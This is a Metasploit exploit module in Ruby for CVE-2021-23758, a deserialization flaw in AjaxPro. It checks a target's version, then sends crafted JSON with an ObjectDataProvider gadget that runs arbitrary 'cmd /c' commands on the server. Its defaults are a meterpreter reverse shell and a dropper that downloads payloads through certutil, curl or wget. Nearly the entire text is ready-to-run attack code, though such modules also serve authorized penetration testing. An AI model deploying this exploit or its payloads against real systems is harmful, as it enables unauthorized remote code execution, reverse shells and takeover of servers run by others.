AjaxPro Deserialization Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'AjaxPro Deserialization Remote Code Execution',  
'Description' => %q{  
This module leverages an insecure deserialization of data to get  
remote code execution on the target OS in the context of the user  
running the website which utilized AjaxPro.  
  
To achieve code execution, the module will construct some JSON data  
which will be sent to the target. This data will be deserialized by  
the AjaxPro JsonDeserializer and will trigger the execution of the  
payload.  
  
All AjaxPro versions prior to 21.10.30.1 are vulnerable to this  
issue, and a vulnerable method which can be used to trigger the  
deserialization exists in the default AjaxPro namespace.  
  
AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom  
method that accepts a parameter of type that is assignable from  
`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can  
still be exploited.  
  
This module has been tested successfully against official AjaxPro on  
version 7.7.31.1 without any modification, and on version 21.10.30.1  
with a custom vulnerable method added.  
},  
'Author' => [  
'Hans-Martin Münch (MOGWAI LABS)', # Discovery  
'Jemmy Wang' # MSF Module  
],  
'References' => [  
['CVE', '2021-23758'],  
['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']  
],  
'DisclosureDate' => '2021-12-03',  
'License' => MSF_LICENSE,  
'Platform' => ['windows'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'certutil'  
},  
'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]  
}  
],  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),  
OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),  
OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),  
OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])  
])  
  
@ajax_pro = { ID: 'AjaxPro' }  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'core.ashx'),  
'keep_cookies' => true  
)  
unless res  
return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")  
end  
  
unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')  
return CheckCode::Safe('Is not AjaxPro?')  
end  
  
unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)  
return CheckCode::Detected('Failed to get AjaxPro ID.')  
end  
  
@ajax_pro[:ID] = cap[0]  
  
unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)  
return CheckCode::Detected('Failed to get AjaxPro version.')  
end  
  
@ajax_pro[:version] = cap[0]  
  
if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')  
return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),  
'keep_cookies' => true  
)  
unless res  
return CheckCode::Appears('Failed to check if the target method exists.')  
end  
  
unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)  
return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")  
end  
  
CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
json_post_data = JSON.generate(  
{  
"#{datastore['Parameter']}": {  
__type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',  
MethodName: 'Start',  
ObjectInstance: {  
__type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',  
StartInfo: {  
__type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',  
FileName: 'cmd',  
Arguments: "/c #{cmd}"  
}  
}  
}  
}  
)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),  
'ctype' => 'text/plain; charset=utf-8',  
'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },  
'data' => json_post_data  
})  
unless res  
fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")  
end  
  
unless res.code == 200  
fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")  
end  
end  
  
def exploit  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager(background: true, delay: 1)  
end  
end  
end  
`